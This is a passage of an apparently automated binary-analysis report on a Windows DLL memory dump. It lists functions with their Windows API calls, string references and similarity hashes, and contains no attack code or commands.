LoadLibraryExA.KERNEL32(atlthunk.dll,00000000,00000800,?,?,?,6E907478,6E93EBA8,?,00000000,?,6E90204A,?,?,00000000,00000001), ref: 6E907159
DecodePointer.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000001), ref: 6E9071D5

Strings

AtlThunk_InitData, xrefs: 6E907181
AtlThunk_DataToCode, xrefs: 6E907198
AtlThunk_AllocateData, xrefs: 6E90716A
AtlThunk_FreeData, xrefs: 6E9071AF
atlthunk.dll, xrefs: 6E907154

Memory Dump Source

Source File: 00000001.00000002.697336170.000000006E8F1000.00000020.00020000.sdmp, Offset: 6E8F0000, based on PE: true

Associated: 00000001.00000002.697318258.000000006E8F0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.697394980.000000006E92A000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.697425072.000000006E93D000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.697439887.000000006E940000.00000002.00020000.sdmp Download File

Similarity

API ID: DecodePointer$LibraryLoad
String ID: AtlThunk_AllocateData$AtlThunk_DataToCode$AtlThunk_FreeData$AtlThunk_InitData$atlthunk.dll
API String ID: 1423960858-1745123996
Opcode ID: 8e4a0684e6e0a8e3109c6daf5c94d75673c852f7e3da5e3513e11b79875b820d
Instruction ID: b9e91e89659de48d42f35f17e2e2824a1efe8706101a2e911e13920be768f763
Opcode Fuzzy Hash: 8e4a0684e6e0a8e3109c6daf5c94d75673c852f7e3da5e3513e11b79875b820d
Instruction Fuzzy Hash: DB012231511A20BECE827AD19C11FCA3BAD5F53268F504069FC467A2CAE771CA088F86

Uniqueness

Uniqueness Score: -1.00%

Function 6E923837, Relevance: 13.7, APIs: 9, Instructions: 201COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 6E9238A5
_free.LIBCMT ref: 6E9238B1
_free.LIBCMT ref: 6E9239DA
_free.LIBCMT ref: 6E9239E5

Memory Dump Source

Source File: 00000001.00000002.697336170.000000006E8F1000.00000020.00020000.sdmp, Offset: 6E8F0000, based on PE: true

Associated: 00000001.00000002.697318258.000000006E8F0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.697394980.000000006E92A000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.697425072.000000006E93D000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.697439887.000000006E940000.00000002.00020000.sdmp Download File

Similarity

API ID: _free
String ID:
API String ID: 269201875-0
Opcode ID: 0f732b96df7bc6754dd575b20ea1bfef01618aa9011f4a49897bbb6f1e7b81db
Instruction ID: 3cba530cc9e81692e2496194c17a211c6dfd75fe7808d9304ec5459247a81cc1
Opcode Fuzzy Hash: 0f732b96df7bc6754dd575b20ea1bfef01618aa9011f4a49897bbb6f1e7b81db
Instruction Fuzzy Hash: 2861C271954606AFDB21CFB8C844BDAB7FDAF86710F104979E955AB288E730E8008F51

Uniqueness

Uniqueness Score: -1.00%

Function 6E906D5F, Relevance: 12.2, APIs: 8, Instructions: 175COMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(00000000,00000000,00000001,?,00000000,00000000,?,?,?,00000001), ref: 6E906DA8
__alloca_probe_16.LIBCMT ref: 6E906DD4
MultiByteToWideChar.KERNEL32(00000001,00000001,00000000,?,00000000,00000000), ref: 6E906E13
LCMapStringEx.KERNEL32 ref: 6E906E30
LCMapStringEx.KERNEL32 ref: 6E906E6F
__alloca_probe_16.LIBCMT ref: 6E906E8C
LCMapStringEx.KERNEL32 ref: 6E906ECE
WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,?,?,00000000,00000000), ref: 6E906EF1

Memory Dump Source

Source File: 00000001.00000002.697336170.000000006E8F1000.00000020.00020000.sdmp, Offset: 6E8F0000, based on PE: true

Associated: 00000001.00000002.697318258.000000006E8F0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.697394980.000000006E92A000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.697425072.000000006E93D000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.697439887.000000006E940000.00000002.00020000.sdmp Download File

Similarity

API ID: ByteCharMultiStringWide$__alloca_probe_16
String ID:
API String ID: 2040435927-0
Opcode ID: b22d63c75e2be273ea578d205e08df145d23bbfdc35efcad50d5cb9ecf84211a
Instruction ID: d5f042f59fe0f5519b20fbed815f912aac9866bfa6f9ed123d1a94b8f681ed5b
Opcode Fuzzy Hash: b22d63c75e2be273ea578d205e08df145d23bbfdc35efcad50d5cb9ecf84211a
Instruction Fuzzy Hash: A7519C7252020AAFEF108FE4CC54FAB3BADEF45754F514828B924AA591DB74C890CFA0

Uniqueness

Uniqueness Score: -1.00%

Function 6E90723E, Relevance: 12.1, APIs: 8, Instructions: 73memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000008,0000000D,00000000,?,6E9073E8,00000000), ref: 6E907262
HeapAlloc.KERNEL32(00000000), ref: 6E907269

Part of subcall function 6E907334: IsProcessorFeaturePresent.KERNEL32(0000000C,6E907250,00000000,?,6E9073E8,00000000), ref: 6E907336

InterlockedPopEntrySList.KERNEL32(00000000,00000000,?,6E9073E8,00000000), ref: 6E907279
VirtualAlloc.KERNEL32(00000000,00001000,00001000,00000040), ref: 6E9072A0
RaiseException.KERNEL32(C0000017,00000000,00000000,00000000), ref: 6E9072B4
InterlockedPopEntrySList.KERNEL32(00000000), ref: 6E9072C7
VirtualFree.KERNEL32(00000000,00000000,00008000), ref: 6E9072DA

Memory Dump Source

Source File: 00000001.00000002.697336170.000000006E8F1000.00000020.00020000.sdmp, Offset: 6E8F0000, based on PE: true

Associated: 00000001.00000002.697318258.000000006E8F0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.697394980.000000006E92A000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.697425072.000000006E93D000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.697439887.000000006E940000.00000002.00020000.sdmp Download File

Similarity

API ID: AllocEntryHeapInterlockedListVirtual$ExceptionFeatureFreePresentProcessProcessorRaise
String ID:
API String ID: 2460949444-0
Opcode ID: 7d906b811c0610e9ec0b6445b50f4ef491e910c086644f93784f6910260dbc47
Instruction ID: 98a4dc2c6cd5b970e58725777bc830b05e42a9fb283f54ba62b23a1ed1132d2a
Opcode Fuzzy Hash: 7d906b811c0610e9ec0b6445b50f4ef491e910c086644f93784f6910260dbc47
Instruction Fuzzy Hash: CB11C872664B12AFFF2226E94D58F6B366DEF46775F810828FD05D6180DBA0CC409EB0

Uniqueness

Uniqueness Score: -1.00%

Function 6E91A54F, Relevance: 10.8, APIs: 5, Strings: 1, Instructions: 265COMMON

Download Yara Rule

APIs

Part of subcall function 6E91897C: GetLastError.KERNEL32(00000000,00000000,00000004,6E90B7B1,00000000,00000000,00000000,?,6E91D694,00000000,00000000,?,0113ED48,00000000), ref: 6E918981
Part of subcall function 6E91897C: SetLastError.KERNEL32(00000000,00000008,000000FF,?,6E91D694,00000000,00000000,?,0113ED48,00000000), ref: 6E918A1F

_free.LIBCMT ref: 6E91A85C
_free.LIBCMT ref: 6E91A875
_free.LIBCMT ref: 6E91A8B5
_free.LIBCMT ref: 6E91A8BE
_free.LIBCMT ref: 6E91A8CA

Strings

C, xrefs: 6E91A6AB

Memory Dump Source

Source File: 00000001.00000002.697336170.000000006E8F1000.00000020.00020000.sdmp, Offset: 6E8F0000, based on PE: true

Associated: 00000001.00000002.697318258.000000006E8F0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.697394980.000000006E92A000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.697425072.000000006E93D000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.697439887.000000006E940000.00000002.00020000.sdmp Download File

Similarity

API ID: _free$ErrorLast
String ID: C
API String ID: 3291180501-1037565863
Opcode ID: 9c3f0d8ec90b6714cb5dbee446d8723790141e556bc8b70acf557646c2539d02
Instruction ID: b648fee7066000a2e02318697f532f590b525f611a971af74d7e2171695d3a76
Opcode Fuzzy Hash: 9c3f0d8ec90b6714cb5dbee446d8723790141e556bc8b70acf557646c2539d02
Instruction Fuzzy Hash: BFB13475A0921A9FDB24DF58C894AD9B7B8FF58314F1049AAD809A7250E770EE94CF40

Uniqueness

Uniqueness Score: -1.00%

Function 6E8FFE30, Relevance: 10.8, APIs: 7, Instructions: 263COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6E93F328,A836F30C), ref: 6E8FFE8D
GetModuleFileNameW.KERNEL32(?,00000104), ref: 6E8FFF10
LoadTypeLib.OLEAUT32(?,00000000), ref: 6E8FFF37
LoadRegTypeLib.OLEAUT32(6E9364B8,00000000,00000000,?,00000000), ref: 6E8FFF52
EnterCriticalSection.KERNEL32(6E93F344), ref: 6E900115
LeaveCriticalSection.KERNEL32(6E93F344), ref: 6E90012B

Memory Dump Source

Source File: 00000001.00000002.697336170.000000006E8F1000.00000020.00020000.sdmp, Offset: 6E8F0000, based on PE: true

Associated: 00000001.00000002.697318258.000000006E8F0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.697394980.000000006E92A000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.697425072.000000006E93D000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.697439887.000000006E940000.00000002.00020000.sdmp Download File

Similarity

API ID: CriticalSection$EnterLoadType$FileLeaveModuleName
String ID:
API String ID: 1976781235-0
Opcode ID: 27a32cdc4817903ef537fc4a90f382392b32b043d39e5ed4aae41750d0a71426
Instruction ID: cbe4444ff4d7bd0657946acb05fa1b372a5c9d5075b68e6cb51d719ce0c535b3
Opcode Fuzzy Hash: 27a32cdc4817903ef537fc4a90f382392b32b043d39e5ed4aae41750d0a71426
Instruction Fuzzy Hash: 4DB18B75905619EFDB60CFA4C958B99B7B9EF4A304F604899E808EB380DB35DE41CF60

Uniqueness

Uniqueness Score: -1.00%

Function 6E8FDCB0, Relevance: 10.7, APIs: 7, Instructions: 163libraryCOMMON

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(?,00000000,00000060), ref: 6E8FDD3D
LoadLibraryExW.KERNEL32(?,00000000,00000002), ref: 6E8FDD4F
FindResourceW.KERNEL32(00000000,?,?), ref: 6E8FDD76
LoadResource.KERNEL32(00000000,00000000), ref: 6E8FDD8E

Part of subcall function 6E8FD340: GetLastError.KERNEL32(80070057,8007000E,80004005), ref: 6E8FD340

FreeLibrary.KERNEL32(00000000,00000000,?), ref: 6E8FDE7F

Memory Dump Source

Source File: 00000001.00000002.697336170.000000006E8F1000.00000020.00020000.sdmp, Offset: 6E8F0000, based on PE: true

Associated: 00000001.00000002.697318258.000000006E8F0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.697394980.000000006E92A000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.697425072.000000006E93D000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.697439887.000000006E940000.00000002.00020000.sdmp Download File

Similarity

API ID: LibraryLoad$Resource$ErrorFindFreeLast
String ID:
API String ID: 328770362-0
Opcode ID: 25ce4219009b99d0e5acae6afaae08ceafe489bb6a9d2c62c803c17c7192e055
Instruction ID: 3cda055db417226562820607eae87a46c02ce93d32fa11f97f8ffa50a542bfe1
Opcode Fuzzy Hash: 25ce4219009b99d0e5acae6afaae08ceafe489bb6a9d2c62c803c17c7192e055
Instruction Fuzzy Hash: 545113B1A00619DFCB21CB94C850B9EB7B8EF99794F500959F708A72C0DB349A468F59

Uniqueness

Uniqueness Score: -1.00%

Function 6E908230, Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 120COMMON

Download Yara Rule

APIs

_ValidateLocalCookies.LIBCMT ref: 6E908267
___except_validate_context_record.LIBVCRUNTIME ref: 6E90826F
_ValidateLocalCookies.LIBCMT ref: 6E9082F8
__IsNonwritableInCurrentImage.LIBCMT ref: 6E908323
_ValidateLocalCookies.LIBCMT ref: 6E908378

Strings

csm, xrefs: 6E90830D

Memory Dump Source

Source File: 00000001.00000002.697336170.000000006E8F1000.00000020.00020000.sdmp, Offset: 6E8F0000, based on PE: true

Associated: 00000001.00000002.697318258.000000006E8F0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.697394980.000000006E92A000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.697425072.000000006E93D000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.697439887.000000006E940000.00000002.00020000.sdmp Download File

Similarity

API ID: CookiesLocalValidate$CurrentImageNonwritable___except_validate_context_record
String ID: csm
API String ID: 1170836740-1018135373
Opcode ID: 1c95a8003561ab3fe16daa243aa8270202bcffb7d31401cfbea24db24daee70f
Instruction ID: 18a04a66b5ff7bd0cfae2ca1cc1cc601e8b52d8e9a9368dd19c111766ed74680
Opcode Fuzzy Hash: 1c95a8003561ab3fe16daa243aa8270202bcffb7d31401cfbea24db24daee70f
Instruction Fuzzy Hash: 5E41C234A00609AFCF14DFA9C890ADEBBB9BF85368F508469EC149B391D731E905CF90

Uniqueness

Uniqueness Score: -1.00%

Function 6E907520, Relevance: 10.6, APIs: 7, Instructions: 106COMMON

Download Yara Rule

APIs

WideCharToMultiByte.KERNEL32(00000000,00000000,6E8FABAD,6E8FABAC,00000000,00000000,00000000,00000000,A836F30C,00000000,?,00000000,6E8FABAD,?,?), ref: 6E907593
WideCharToMultiByte.KERNEL32(00000000,00000000,6E8FABAD,00000000,00000000,00000000,00000000,00000000,?,?,?,00000000), ref: 6E9075CA

Memory Dump Source

Source File: 00000001.00000002.697336170.000000006E8F1000.00000020.00020000.sdmp, Offset: 6E8F0000, based on PE: true

Associated: 00000001.00000002.697318258.000000006E8F0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.697394980.000000006E92A000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.697425072.000000006E93D000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.697439887.000000006E940000.00000002.00020000.sdmp Download File

Similarity

API ID: ByteCharMultiWide
String ID:
API String ID: 626452242-0
Opcode ID: c6a0e96ab2ccb7dd4864f35c122fdd8e79703062e2436ed0e883e88ac7a8e8e9
Instruction ID: d6147d8429ef031313e3de10292a9911bfc8e9f347064b59cd9cf19a1a1589fb
Opcode Fuzzy Hash: c6a0e96ab2ccb7dd4864f35c122fdd8e79703062e2436ed0e883e88ac7a8e8e9
Instruction Fuzzy Hash: 5F3149B2A44605ABDB10EBA48C05FAF77ACEF45B20F50462DF905DB2C0D771E501CAA0

Uniqueness

Uniqueness Score: -1.00%

Function 6E9022B0, Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 102COMMON

Download Yara Rule

APIs

CallWindowProcW.USER32(?,?,?,00000024,00000000), ref: 6E902340
GetWindowLongW.USER32(?,000000FC), ref: 6E902354
CallWindowProcW.USER32(?,?,00000082,00000024,00000000), ref: 6E90236A
GetWindowLongW.USER32(?,000000FC), ref: 6E902383
SetWindowLongW.USER32 ref: 6E902392

Strings

$, xrefs: 6E9022F4

Memory Dump Source

Source File: 00000001.00000002.697336170.000000006E8F1000.00000020.00020000.sdmp, Offset: 6E8F0000, based on PE: true

Associated: 00000001.00000002.697318258.000000006E8F0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.697394980.000000006E92A000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.697425072.000000006E93D000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.697439887.000000006E940000.00000002.00020000.sdmp Download File

Similarity

API ID: Window$Long$CallProc
String ID: $
API String ID: 513923721-3993045852
Opcode ID: 17ee990eaa2b8006243579c48764746d1430f287caf1a27178d12d7a65d7282a
Instruction ID: b9ab8d20d93230ed912f10bd2f6b5ced370c6a8d19f82f410b0bbe802e838b44
Opcode Fuzzy Hash: 17ee990eaa2b8006243579c48764746d1430f287caf1a27178d12d7a65d7282a
Instruction Fuzzy Hash: A6411571904608AFCB20CF99C984A9FBBF5FF49710F108A1DE856A72A1D771E914CFA0

Uniqueness

Uniqueness Score: -1.00%

Function 6E8FD510, Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 86registrylibraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(Advapi32.dll,A836F30C), ref: 6E8FD564
GetProcAddress.KERNEL32(00000000,RegOpenKeyTransactedW), ref: 6E8FD57B
RegOpenKeyExW.ADVAPI32(?,?,00000000,?,00000000,A836F30C), ref: 6E8FD5B0
RegCloseKey.ADVAPI32(00000000), ref: 6E8FD5C3

Strings

Advapi32.dll, xrefs: 6E8FD55F
RegOpenKeyTransactedW, xrefs: 6E8FD575

Memory Dump Source

Source File: 00000001.00000002.697336170.000000006E8F1000.00000020.00020000.sdmp, Offset: 6E8F0000, based on PE: true

Associated: 00000001.00000002.697318258.000000006E8F0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.697394980.000000006E92A000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.697425072.000000006E93D000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.697439887.000000006E940000.00000002.00020000.sdmp Download File

Similarity

API ID: AddressCloseHandleModuleOpenProc
String ID: Advapi32.dll$RegOpenKeyTransactedW
API String ID: 823179699-3913318428
Opcode ID: 221160bcf146d01fab0943aa8ea5fdeebf96ead18cee2240163dfa0d7b78cc1d
Instruction ID: c19a3f2444b3173a708aed13709026040084230d94688013333e2f893237db5d
Opcode Fuzzy Hash: 221160bcf146d01fab0943aa8ea5fdeebf96ead18cee2240163dfa0d7b78cc1d
Instruction Fuzzy Hash: DF318CB1A0420AEFDB10CFD9CC44BABBBB9EF49755F104929E915AB2C0D774D901CEA0

Uniqueness

Uniqueness Score: -1.00%

Function 6E8F7BD0, Relevance: 10.6, APIs: 7, Instructions: 78memoryCOMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(00000003,00000000,?,000000FF,00000000,00000000), ref: 6E8F7BEE
SysAllocStringLen.OLEAUT32(00000000,-00000001), ref: 6E8F7BFC
MultiByteToWideChar.KERNEL32(00000003,00000000,?,000000FF,00000000,00000000), ref: 6E8F7C11
SysFreeString.OLEAUT32(00000000), ref: 6E8F7C1C
VarBstrCmp.OLEAUT32(?,00000000,00000400,00000000), ref: 6E8F7C3B
SysFreeString.OLEAUT32(00000000), ref: 6E8F7C48
SysFreeString.OLEAUT32 ref: 6E8F7C72

Memory Dump Source

Source File: 00000001.00000002.697336170.000000006E8F1000.00000020.00020000.sdmp, Offset: 6E8F0000, based on PE: true

Associated: 00000001.00000002.697318258.000000006E8F0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.697394980.000000006E92A000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.697425072.000000006E93D000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.697439887.000000006E940000.00000002.00020000.sdmp Download File

Similarity

API ID: String$Free$ByteCharMultiWide$AllocBstr
String ID:
API String ID: 1801994256-0
Opcode ID: 9f631c84ab29407ad6b0f4302c4e4663b3419080e4d3dcdedf93f718f7d689d8
Instruction ID: eb653117f120aff25f1b18b68bfa2676aaad866381200a5ceb0d868ba4dc5989
Opcode Fuzzy Hash: 9f631c84ab29407ad6b0f4302c4e4663b3419080e4d3dcdedf93f718f7d689d8
Instruction Fuzzy Hash: 57116B322A8717FFFF1106958D09F5A7A68EF07B70F200A04FA18EA2C0C7A39D05C5A4

Uniqueness

Uniqueness Score: -1.00%

Function 6E91CB41, Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 78COMMON

Download Yara Rule

Strings

ext-ms-, xrefs: 6E91CBAC
api-ms-, xrefs: 6E91CB98

Memory Dump Source

Source File: 00000001.00000002.697336170.000000006E8F1000.00000020.00020000.sdmp, Offset: 6E8F0000, based on PE: true

Associated: 00000001.00000002.697318258.000000006E8F0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.697394980.000000006E92A000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.697425072.000000006E93D000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.697439887.000000006E940000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID: api-ms-$ext-ms-
API String ID: 0-537541572
Opcode ID: e87f737239f42b584958f116e5f23da40102d4b3262238e3a297044d42c8c082
Instruction ID: 50ae9629fd267c65d73576221a9dcd2c8a42665611b54148c6f3fad453b12bd4
Opcode Fuzzy Hash: e87f737239f42b584958f116e5f23da40102d4b3262238e3a297044d42c8c082
Instruction Fuzzy Hash: B621A4729DD61DAFDF558AA98D80A8A376C9F42761B310931FC25EF380D670D800CDD1

Uniqueness

Uniqueness Score: -1.00%

Function 6E923CFE, Relevance: 10.6, APIs: 7, Instructions: 65COMMON

Download Yara Rule

APIs

Part of subcall function 6E923A48: _free.LIBCMT ref: 6E923A6D

_free.LIBCMT ref: 6E923D4C

Part of subcall function 6E918252: HeapFree.KERNEL32(00000000,00000000,?,6E923A72,?,00000000,?,?,?,6E923D17,?,00000007,?,?,6E921D29,?), ref: 6E918268
Part of subcall function 6E918252: GetLastError.KERNEL32(?,?,6E923A72,?,00000000,?,?,?,6E923D17,?,00000007,?,?,6E921D29,?,?), ref: 6E91827A

_free.LIBCMT ref: 6E923D57
_free.LIBCMT ref: 6E923D62
_free.LIBCMT ref: 6E923DB6
_free.LIBCMT ref: 6E923DC1
_free.LIBCMT ref: 6E923DCC
_free.LIBCMT ref: 6E923DD7

Memory Dump Source

Source File: 00000001.00000002.697336170.000000006E8F1000.00000020.00020000.sdmp, Offset: 6E8F0000, based on PE: true

Associated: 00000001.00000002.697318258.000000006E8F0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.697394980.000000006E92A000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.697425072.000000006E93D000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.697439887.000000006E940000.00000002.00020000.sdmp Download File

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: 626a4af83b5a11caf917ef27dbac739c1afc9d2b6aaeb70603d007920aac55e6
Instruction ID: 280df8173607e9304d27d055dab3aef57a5a427d8ad065f31595da0e8a8fbf0e
Opcode Fuzzy Hash: 626a4af83b5a11caf917ef27dbac739c1afc9d2b6aaeb70603d007920aac55e6
Instruction Fuzzy Hash: B6115E71590B48BAD931E7F0DC09FCB779CAF91B04F404C38B39966094D736E5095B51

Uniqueness

Uniqueness Score: -1.00%

Function 6E91E483, Relevance: 9.3, APIs: 6, Instructions: 319fileCOMMON

Download Yara Rule

APIs

GetConsoleCP.KERNEL32(00000000,00000001,00000000), ref: 6E91E4CB
__fassign.LIBCMT ref: 6E91E6AA
__fassign.LIBCMT ref: 6E91E6C7
WriteFile.KERNEL32(?,6E91685B,00000000,?,00000000,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6E91E70F
WriteFile.KERNEL32(?,?,00000001,?,00000000), ref: 6E91E74F
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,00000000), ref: 6E91E7FB

Memory Dump Source

Source File: 00000001.00000002.697336170.000000006E8F1000.00000020.00020000.sdmp, Offset: 6E8F0000, based on PE: true

Associated: 00000001.00000002.697318258.000000006E8F0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.697394980.000000006E92A000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.697425072.000000006E93D000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.697439887.000000006E940000.00000002.00020000.sdmp Download File

Similarity

API ID: FileWrite__fassign$ConsoleErrorLast
String ID:
API String ID: 4031098158-0
Opcode ID: a05a8b70184b035e45d9f0ae5944e0744bb4bcd98ae630a336cd85ac5ba87d48
Instruction ID: fcd62d01d0e059c841b3d4ed3eb04446fc8ca0be3101f1c4704d32a8dd766f59
Opcode Fuzzy Hash: a05a8b70184b035e45d9f0ae5944e0744bb4bcd98ae630a336cd85ac5ba87d48
Instruction Fuzzy Hash: 79D19775D0825D9FDF11CFE8C8809EDBBB9AF49314F28016AE815BB241E730AA42CF50

Uniqueness

Uniqueness Score: -1.00%

Function 6E900A60, Relevance: 9.2, APIs: 6, Instructions: 198threadCOMMON

Download Yara Rule

APIs

GetClientRect.USER32 ref: 6E900B0E

Part of subcall function 6E9023E0: EnterCriticalSection.KERNEL32(6E93DA58), ref: 6E902414
Part of subcall function 6E9023E0: GetClassInfoExW.USER32 ref: 6E902449
Part of subcall function 6E9023E0: GetClassInfoExW.USER32 ref: 6E90245C
Part of subcall function 6E9023E0: LeaveCriticalSection.KERNEL32(6E93DA58), ref: 6E902467

Part of subcall function 6E9073A0: GetProcessHeap.KERNEL32(00000008,00000008,00000000,6E90226B), ref: 6E9073A5
Part of subcall function 6E9073A0: HeapAlloc.KERNEL32(00000000), ref: 6E9073AC

SetLastError.KERNEL32(0000000E,?,?,?,?,?,?,?,?,?,?,?,?,6E928FD0,000000FF), ref: 6E900B57
GetCurrentThreadId.KERNEL32 ref: 6E900BFC
EnterCriticalSection.KERNEL32(6E93DA58), ref: 6E900C0A
LeaveCriticalSection.KERNEL32(6E93DA58), ref: 6E900C23
CreateWindowExW.USER32 ref: 6E900C59

Memory Dump Source

Source File: 00000001.00000002.697336170.000000006E8F1000.00000020.00020000.sdmp, Offset: 6E8F0000, based on PE: true

Associated: 00000001.00000002.697318258.000000006E8F0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.697394980.000000006E92A000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.697425072.000000006E93D000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.697439887.000000006E940000.00000002.00020000.sdmp Download File

Similarity

API ID: CriticalSection$ClassEnterHeapInfoLeave$AllocClientCreateCurrentErrorLastProcessRectThreadWindow
String ID:
API String ID: 859899439-0
Opcode ID: 7b3890ef41bc8aaef004b6468532aa6fed6350d016e15b17fc75d2cfab8ee95e
Instruction ID: 0283fb51a0dfe2d5b45fd39d993ec1b46854afe562a8db309963e9fe1e8ae703
Opcode Fuzzy Hash: 7b3890ef41bc8aaef004b6468532aa6fed6350d016e15b17fc75d2cfab8ee95e
Instruction Fuzzy Hash: C1615CB1914619AFDB14CFA8C994BAEBBB9FF89714F50461DE815AB340E770E800CF90

Uniqueness

Uniqueness Score: -1.00%

Function 6E8FDF40, Relevance: 9.1, APIs: 6, Instructions: 147COMMON

Download Yara Rule

APIs

CharNextW.USER32(?,00000000,00000000,?,C000008C,00000001), ref: 6E8FDF7E
CharNextW.USER32(00000000,?,00000000,00000000), ref: 6E8FDFAB
CharNextW.USER32(7691EEF0,?,00000000,00000000), ref: 6E8FDFC4
CharNextW.USER32(7691EEF0,?,00000000,00000000), ref: 6E8FDFCF
CharNextW.USER32(00000001,?,00000000,00000000), ref: 6E8FE03E

Memory Dump Source

Source File: 00000001.00000002.697336170.000000006E8F1000.00000020.00020000.sdmp, Offset: 6E8F0000, based on PE: true

Associated: 00000001.00000002.697318258.000000006E8F0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.697394980.000000006E92A000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.697425072.000000006E93D000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.697439887.000000006E940000.00000002.00020000.sdmp Download File

Similarity

API ID: CharNext
String ID:
API String ID: 3213498283-0
Opcode ID: 9e20d51820dbac89c6d0d828bcf7a6cdb158760f39d3da9a22000cd07649b42a
Instruction ID: bfe28671acba8c832d136d2cafa7c82036af9b47e9113e767e007e428773145c
Opcode Fuzzy Hash: 9e20d51820dbac89c6d0d828bcf7a6cdb158760f39d3da9a22000cd07649b42a
Instruction Fuzzy Hash: D341F636604216CFCB10DFADC480669B7F2FFC9360B54486AE844C7388E7359983CB91

Uniqueness

Uniqueness Score: -1.00%

Function 6E8F4850, Relevance: 9.1, APIs: 6, Instructions: 123COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 6E8F4899
std::_Lockit::_Lockit.LIBCPMT ref: 6E8F48BB
std::_Lockit::~_Lockit.LIBCPMT ref: 6E8F48DB
__Getctype.LIBCPMT ref: 6E8F4971
std::_Facet_Register.LIBCPMT ref: 6E8F4990
std::_Lockit::~_Lockit.LIBCPMT ref: 6E8F49A8

Memory Dump Source

Source File: 00000001.00000002.697336170.000000006E8F1000.00000020.00020000.sdmp, Offset: 6E8F0000, based on PE: true

Associated: 00000001.00000002.697318258.000000006E8F0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.697394980.000000006E92A000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.697425072.000000006E93D000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.697439887.000000006E940000.00000002.00020000.sdmp Download File

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_GetctypeRegister
String ID:
API String ID: 1102183713-0
Opcode ID: 754c522b50329fa36cc5c1f05ced5f74df59fe9fad450baeac6899c85e4356a3
Instruction ID: 975db9106ffe3dc384ed00635363ef2a9502a9555be379f7d1a628d47936bcbc
Opcode Fuzzy Hash: 754c522b50329fa36cc5c1f05ced5f74df59fe9fad450baeac6899c85e4356a3
Instruction Fuzzy Hash: 3341C171A04608CFDB60CF98C940ADAB7B5EF95764F14496ED815AB390DB30EE06CB91

Uniqueness

Uniqueness Score: -1.00%

Function 6E8FD600, Relevance: 9.1, APIs: 6, Instructions: 121registryCOMMON

Download Yara Rule

APIs

Part of subcall function 6E8FD510: GetModuleHandleW.KERNEL32(Advapi32.dll,A836F30C), ref: 6E8FD564

RegCloseKey.ADVAPI32(?,?,?), ref: 6E8FD662
RegEnumKeyExW.ADVAPI32(?,00000000,?,?,00000000,00000000,00000000,?,?,?), ref: 6E8FD6AA
RegEnumKeyExW.ADVAPI32(?,00000000,?,?,00000000,00000000,00000000,?), ref: 6E8FD6E3
RegCloseKey.ADVAPI32(?), ref: 6E8FD6F8
